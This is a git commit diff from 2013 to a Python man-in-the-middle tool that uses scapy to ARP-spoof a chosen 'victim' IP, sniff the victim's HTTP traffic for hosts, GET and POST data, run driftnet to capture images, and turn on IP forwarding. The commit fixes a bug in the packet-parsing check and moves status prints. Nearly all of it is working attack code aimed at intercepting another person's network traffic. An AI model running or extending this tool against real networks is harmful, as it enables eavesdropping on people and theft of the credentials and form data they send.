fixed error where sometimes it would say Ether layer not found

This commit is contained in:
DanMcInerney 2013-07-11 21:32:16 -06:00
parent 8b2cfb8c9a
commit 87849a4882

View file

@ -101,15 +101,6 @@ else:
victimIP = raw_input('\nType victim\'s IP: ')
print ''
print "[+] Active interface: " + interface
print "[+] Local IP: " + localIP
print "[+] Interface MAC: " + localMAC
print "[+] DHCP server: " + DHCPsrvr
print "[+] DNS server: " + DNSsrvr
print "[+] Local domain: " + local_domain
print "[+] Router IP: " + routerIP
print "[+] Client IP: " + victimIP
def originalMAC(ip):
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
@ -126,8 +117,8 @@ def restore(routerIP, victimIP, routerMAC, victimMAC):
def URL(pkt):
global host, get, post, url
if pkt.haslayer(Raw) and pkt[Ether].src == victimMAC:
if pkt.haslayer(Raw) and pkt.haslayer(Ether):
if pkt[Ether].src == victimMAC:
pkt = repr(pkt[Raw].load)
try:
headers, body = pkt.split(r"\r\n\r\n")
@ -135,9 +126,6 @@ def URL(pkt):
headers = pkt
body = ''
#ADD HTML CHECKER THING HERE
header_lines = headers.split(r"\r\n")
for l in header_lines:
searchHost = re.search('[Hh]ost: ', l)
@ -273,15 +261,21 @@ class driftnet(threading.Thread):
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
Popen(xterm, stdout=PIPE, stderr=DN)
print "[+] Active interface: " + interface
print "[+] Local IP: " + localIP
print "[+] Interface MAC: " + localMAC
print "[+] DHCP server: " + DHCPsrvr
print "[+] DNS server: " + DNSsrvr
print "[+] Local domain: " + local_domain
print "[+] Router IP: " + routerIP
print "[+] Client IP: " + victimIP
try:
routerMAC = originalMAC(routerIP)
print "[+] Router MAC: " + routerMAC
victimMAC = originalMAC(victimIP)
print "[+] Victim MAC: " + victimMAC + "\n"
print "[+] Victim MAC: " + victimMAC
except:
sys.exit("Could not get MAC addresses")
#Forward packets and flush iptables
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
if not ipfwd.communicate()[0] == '1':
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')